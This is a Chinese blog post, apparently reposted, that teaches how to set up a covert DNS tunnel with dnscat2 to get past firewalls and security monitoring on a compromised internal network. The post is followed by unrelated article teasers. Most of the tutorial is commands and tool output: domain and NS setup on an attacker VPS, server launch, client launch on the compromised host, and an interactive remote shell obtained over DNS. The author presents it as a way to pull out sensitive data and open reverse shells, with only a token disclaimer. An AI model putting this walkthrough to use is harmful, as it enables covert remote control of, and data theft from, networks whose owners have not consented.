【女士,房间墙上凿个洞,看你在干嘛~】安全攻防内网渗透-绕过防火墙和安全检测,搭建DNS隐蔽隧道

news/2024/5/6 11:35:23/文章来源:https://blog.csdn.net/eason612/article/details/129301486

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。所以可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

题目很惊悚,真的有点惊悚啊~
如今很卷,各大公司的内网,甚至是网吧局域网的安全防护都做了起来,随便拿个攻防工具或者脚本乱打一通的时代已经过去了。
请添加图片描述
例如,各大公司将绝大部分网络和主机设备归为内网,通过堡垒机和防火墙,设置各种策略,实现逻辑上的内网隔离。仅仅将一小部分主机和上面的域名或者IP端口暴露在公网,作为暴露面对外接进行交互、展示,而这些硕果仅存的大家能通过互联网访问到的一个个网页、交互端口等俗称互联网暴露面。然后IPS防火墙APT抗DDOS流量清洗全流量监测设备…这些你知道或从未听过的各类安全产品都对这个暴露面进行严防死守。
请添加图片描述
暴露面身后的庞大内网在设计之初,是严禁直接从互联网访问哦! 而攻击者使用各种代理工具就像各种专用通道,能让你在家中笔记本上敲出的命令,通过这个通道轻松进入到目标内网的主机上,并将感兴趣的东西带出,甚至破坏。就像有人在你房间的墙壁上凿出一个洞,让你安全的小窝豁然暴露在他的面前一样

然而前面说的的各种安全工具和防护措施建立起来后,这些代理工具再也撬不动铜墙铁壁,一个个失去了作用~

在我们费劲千辛万苦拿到一个暴露面主机权限后,我们愕然发现:由于端口和策略限制,拿到暴露面所在的主机权限后,什么都不能做。更别提通过他真正撬开内网大门,堂而皇之的进入内网遨游!这感觉就像下图这样,只能透过钥匙孔看向一片漆黑。
请添加图片描述
怎么办,作为攻防渗透行业从业者我们不能坐以待毙!目前常见的策略中,非必要端口都会被关掉,但是DNS解析服务,端口号53,却是还保留着。毕竟很多场景下内网需要这个端口来与外界交互进行域名和IP地址的解析。而我们是否能将代理搭建在这个DNS数据包封装格式下呢?从而实现披着DNS的外表,实际在搭建一个隐蔽远控通道的目标?

答案是肯定的,本文演示所使用的工具就是Dnscat2这个知名工具

这段文字怎么感觉不像好人说的~

以上就是本文的文字介绍部分,如您对技术不是很熟悉,可以忽略下面内容。
如您是做技术的,可以参考下面的操作流程,尝试搭建自己的dns隧道哦~
友情提示:仅供学习交流,不得在实际环境下尝试,否则后果自负,与我无关哈~

基本原理

网络架构图

在这里插入图片描述

  1. 图中右侧模拟了一个内网:由防火墙隔绝,内网中有三台主机。

策略配置,外网不能访问内网的任何主机,内网主机可以访问外网。

  1. 图中间防火墙:设置了严格的策略,对内外流量进行控制

本实验可以理解为仅为DNS流量可以自由通过防火墙。

  1. 图中左侧模拟了互联网:攻击者拥有一个有公网地址的VPS主机
  2. 假设图中内网kali(192.168.1.6)已经被拿下,已上传dnscat2客户端。

DNS隧道原理

利用自己拥有的域名,设置域名A类和ns解析地址为自己vps服务器ip。在vps上使用Dnscat2工具,运行服务端,这样,在远端的客户端当解析自己的域名时,最后流量都会到达这台vps上。同理DNS的正常响应也会返回到发起询问的内网机器上。这本是一个正常DNS交互流程,一切都很正常。

但我们使用的Dnscat2工具建立的DNS服务本质其实是个远控程序,它以正常DNS数据包为表象,内在封装恶意代码,建立一个披着羊皮的隐蔽隧道。利用这个隧道,攻击者可以传输恶意指令,并与目标进行交互等操作,从而实现内网遨游。

而很多主流安全软件和防火墙,对dns的数据包,检查力度较弱,甚至直接放行。

配置自己的域名设置,并测试域名解析是否正常

  1. 在这里不会细说如何购买一个域名,我的域名是在godaddy购买的。
    设置很简单,只需要设置两处。如下图
    在这里插入图片描述
  2. 在自己的vps服务端,需要放行53端口
    在这里插入图片描述
  3. 测试域名设置是否能成功解析,能拼通,第一步成功
# 在攻击者电脑kali 192.168.120.133
┌──(root㉿kali)-[~]
└─# ping ns1.你的域名 
PING ns1.你的域名 (你的公网 56(84) bytes of data.
64 bytes from 你的公网 (你的公网): icmp_seq=1 ttl=128 time=30.3 ms
  1. 再测试子域名解析是否正常
# VPS 101.*
# 1. 腾讯服务器 打开防火墙53端口
# 2. 切换到root权限后,监听网卡 53端口数据包
ubuntu@VM-24-12-ubuntu:~$ su root
Password: 
root@VM-24-12-ubuntu:/home/ubuntu# cd ~root@VM-24-12-ubuntu:~# tcpdump -n -i eth0 udp dst port 53
# 在攻击者电脑kali 192.168.120.133
┌──(root㉿kali)-[~]
└─# nslookup vpn.你的域名 
Server:         192.168.120.2
Address:        192.168.120.2#53** server can't find vpn.你的域名: SERVFAIL

vps成功抓取DNS流量包
在这里插入图片描述

经过以上两个测试,可以验证域名解析配置正确。

在VPS上安装、启动Dnscat2服务端

# 环境安装
apt-get install gem
apt-get install ruby-dev
apt-agt install libpq-dev
apt-agt install ruby-bundler# Dnscat2安装
apt-get install git
git clone https://github.com/iagox86/dnscat2.git
bundle install
# 启动服务端
# 首先关闭所有占用53端口的程序
root@VM-24-12-ubuntu:~/tools/dnscat2/server# netstat -tunpl|grep 53
tcp        0      0 10.0.24.12:53           0.0.0.0:*               LISTEN      768/named           
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      768/named             # 杀死进程kill -9 768# 中继模式启动
root@VM-24-12-ubuntu:~/tools/dnscat2/server# ruby ./dnscat2.rb vpn.你的域名 -e open -c heason --no-cacheNew window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.auto_attach => false
history_size (for new windows) => 1000
Security policy changed: Client can decide on security level
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = vpn.你的域名]...Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):./dnscat --secret=heason vpn.你的域名To talk directly to the server without a domain name, run:./dnscat --dns server=x.x.x.x,port=53 --secret=heasonOf course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.dnscat2> 

在内网机器上启动客户端

dnscat2工具对linux和win客户端均有,链接如下
github上源码和linux客户端
dnscat2各类型服务端、客户端(含win)下载列表

# 内网kali 192.168.1.6
┌──(root㉿kali)-[~/Desktop]
└─# ./dnscat -dns domain=vpn.你的域名 -secret heason
Creating DNS driver:domain = vpn.你的域名host   = 0.0.0.0port   = 53type   = TXT,CNAME,MXserver = 192.168.1.4** Peer verified with pre-shared secret!Session established!
Got a command: COMMAND_SHELL [request] :: request_id: 0x0001 :: name: shell
[[ WARNING ]] :: Starting: /bin/sh -c 'sh'
[[ WARNING ]] :: Started: sh (pid: 74086)
Response: COMMAND_SHELL [response] :: request_id: 0x0001 :: session_id: 0xa6d2** Peer verified with pre-shared secret!Session established!

简单命令执行演示

dnscat2> sessions
0 :: main [active]crypto-debug :: Debug window for crypto stuff [*]dns1 :: DNS Driver running on 0.0.0.0:53 domains = vpn.你的域名 [*]1 :: command (WIN-7-PS1) [encrypted and verified] [*] [idle for 3343 seconds]2 :: command (WIN-7-PS1) [encrypted and verified] [*] [idle for 2972 seconds]3 :: (not set) [cleartext] [*] [idle for 2625 seconds]4 :: command (kali) [encrypted and verified]5 :: sh (kali) [encrypted and verified] [*]
dnscat2> session -i 5
New window created: 5
history_size (session) => 1000
Session 5 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!To go back, type ctrl-z.New window created: 6
sh (kali) 5> ls
sh (kali) 5> dnscat
dnscat2-v0.07-client-x64.tar.bz2sh (kali) 5> pwd
sh (kali) 5> /root/Desktop

至此,隧道已成功建立,你可以通过这个隧道获取敏感信息,反弹shell等,开始下一步的内网探索了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_76449.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

将vue-devtools打包成edge插件

文章目录一、从github拉vue-devtools源码二、用npm安装yarn三、使用yarn安装并编译源码四、将vue-devtools打包成edge插件五、离线安装edge插件一、从github拉vue-devtools源码 目前最新的版本是v6.5.0&#xff0c;地址&#xff1a;https://github.com/vuejs/devtools 二、用n…

深度学习被你忽略的细节系列篇——Softmax、LogSumExp和Sigmoid

平时我们基本用pytorch或者tensorflow框架时&#xff0c;基本对特别底层的函数实现关注不多&#xff0c;仅限于知道公式的原理。但是很多大佬往往自己会实现一些源码(比如ListNet复现)&#xff0c;在看这些源码时&#xff0c;经常出现各种有点难以理解的代码&#xff0c;本来很…

教你如何搭建设备-巡检管理系统,demo可分享

1、简介1.1、案例简介本文将介绍&#xff0c;如何搭建设备-巡检管理。1.2、应用场景设备管理员进行制定设备巡检时间/内容计划、记录设备巡检信息、可以查看今日待巡检设备。2、设置方法2.1、表单搭建1&#xff09;新建表单【设备档案-履历表】&#xff0c;字段设置如下&#x…

安卓手机当旁路网关

一、安卓shell调试工具下载【电脑版下载地址】安卓adb调试工具&#xff0c;包含MAC苹果、Windows和Linux 三种版【手机版下载地址Termux】下载地址&#xff1a;https://github.com/termux/termux-app/releases如果不懂下载哪个版本&#xff0c;可以直接下载通用版&#xff1a;t…

【unity3d】rts engine 5 设置集结点;放置建筑

一 接上回新建建筑&#xff0c;设置生产单位&#xff0c;现在设置集结点 1 进入建筑预制体&#xff0c;add component 添加 rallypoint setting target 页面&#xff0c;设置面板按钮&#xff0c;音频 resource dead是可设置在耗尽的资源上&#xff0c;下一个是自动寻找附近同…

QT打包的两种方式

QT打包的两种方式&#xff1a; 一个是QT5自带的windeployqt&#xff08;不需要下载安装&#xff09;&#xff0c;它可以找到程序&#xff08;exe&#xff09;用到的所有库文件&#xff0c;并且都拷贝到exe程序的当前文件。此时打包的exe较小&#xff0c;需要和拷贝进来的文件放…

Modbus网关在锂电池干燥箱的应用

在锂离子电池生产过程中&#xff0c;将正负极片辊压绕卷再放入电池盒之后&#xff0c;须对锂电池电芯极组进行烘烤干燥。相信大家也了解水分对锂电池的性能影响是很大的&#xff0c;需要注液前在装配车间将锂离子电池电芯内部的水分去除&#xff0c;以免影响锂电池质量。在锂电…

在 The Sandbox 中以全新的 Rabbids 体验庆祝兔年!

育碧(Ubisoft) 和 The Sandbox 联手为你们带来终极的农历新年体验&#xff01; 穿戴上你们新鲜出炉的 Rabbids 人物化身来参加派对吧&#xff0c;保证震撼整个元宇宙&#xff01;这个全新体验为 Rabbids 人物化身持有者专属。没有获得 Rabbids 人物化身吗&#xff1f;不要担心&…

你知道Java中的JCP, JEP, JLS, JSR是什么意思吗?

目录 一、JCP 二、JSR 三、JLS 四、JEP 公众号&#xff1a;MCNU云原生&#xff0c;欢迎微信搜索关注&#xff0c;更多干货&#xff0c;及时掌握。 JCP, JEP, JLS, JSR这些概念是Java社区中的一些概念&#xff0c;但是没有没有经常关注社区的童鞋们未必知道这些缩写所代表的…

围棋

围棋 规则 棋盘 围棋使用矩形格状棋盘及黑白二色圆形棋子进行对弈&#xff0c;正规棋盘上有纵横各19条线段&#xff0c;361个交叉点。 基本下法 1&#xff0e;对局双方各执一色棋子&#xff0c;黑先白后&#xff0c;交替下子&#xff0c;每次只能下一子。 2&#xff0e;棋子…

Go 实现 AOI 区域视野管理

在游戏中,场景里存在大量的物体.如果我们把所有物体的变化都广播给玩家.那客户端很难承受这么大的压力.因此我们肯定会做优化.把不必要的信息过滤掉.如只关心玩家视野所看到的.减轻客户端的压力,给玩家更流畅的体验. 优化的思路一般是: 第一个是尽量降低向客户端同步对象的数量…

为什么FPGA在深度学习领域有着得天独厚的优势?

01 FPGA在深度学习领域有哪些优势 FPGA&#xff08;Field-Programmable Gate Array&#xff09;是一种灵活的可编程硬件设备&#xff0c;它在深度学习应用领域中具有许多优势。 首先&#xff0c;FPGA具有非常高的并行性。在深度学习中&#xff0c;许多计算都可以并行化&…

“数字档案室测评”相关参考依据梳理

数字档案室建设无疑比数字档案馆建设应用范围更为广泛&#xff0c;涉及的单位类型和专业领域也更多。这一点从国家档案局的机构设置上也可以看出端倪&#xff1a; 国家档案局两个内设业务指导司中&#xff0c;档案馆(室)业务指导司主要针对档案馆和机关档案室&#xff0c;而经济…

施工机械设备群远程在线监控管理系统

一、项目背景 在加强基础设施建设等一系列政策的牵引下&#xff0c;我国工程机械设备市场连续保持强劲增长势头&#xff0c;伴随国内中高端机械设备公司业务的不断扩展&#xff0c;施工大型机械设备的应用率不断提高&#xff0c;铁路施工特别是架桥机作业过程被认为是一个极易出…

Windows搭建机器学习环境

一、环境介绍Anaconda&#xff1a;Anaconda offers the easiest way to perform Python/R data science and machine learning on a single machine. Start working with thousands of open-source packages and libraries today.Anaconda包括Conda、Python以及一大堆安装好的工…

边缘计算开源项目解读——kubeedge mappers实现

0 背景 本文重点解读kubeedge项目中的mapper模块。该模块位于kubeedge的edgecore的南向边缘侧&#xff0c;主要对接入kubeedge的终端设备&#xff0c;进行协议的适配和转换&#xff0c;使其可以和边缘设备通信&#xff0c;转换后的协议是我们前面描述的mqtt协议&#xff0c;当然…

快速上手配置firewalld

firewalld使用firewall-cmd命令配置策略。 查看当前firewalld当前服务运行状态 firewall-cmd --state firewalld防火墙状态还用使用如下命令查看状态 systemctl status firewalld 查看所有打开运行的端口 firewall-cmd --zonepublic --list-ports 查看区域信息情况 firewall…

04 Android基础--RelativeLayout

04 Android基础--RelativeLayout什么是RelativeLayout&#xff1f;RelativeLayout的常见用法&#xff1a;什么是RelativeLayout&#xff1f; 相对布局&#xff08;RelativeLayout&#xff09;是一种根据父容器和兄弟控件作为参照来确定控件位置的布局方式。 根据父容器定位 在相…

maven高级知识。

目录 一、分模块开发 1、分模块开发设计 2、依赖管理 二、继承和聚合 1、聚合 2、继承 三、属性 1、基本介绍 2、版本管理 四、多环境配置与应用 1、多环境开发 2、跳过测试 五、私服 1、私服安装 2、私服仓库分类 一、分模块开发 1、分模块开发设计 ▶ 示意图 …

南卡Neo骨传导运动耳机发布,重塑骨传导耳机舒适听感新体验!

近日&#xff0c;在骨传导耳机领域中最专业的南卡发布了今年全新系列——NEO&#xff0c;如果说南卡Runner Pro4的音质是偏向于节奏性&#xff0c;那么这款南卡NEO是更加偏向于沉稳性节奏&#xff0c;能够轻松征服轻运动场景&#xff0c;此系列在舒适度以及音质上&#xff0c;更…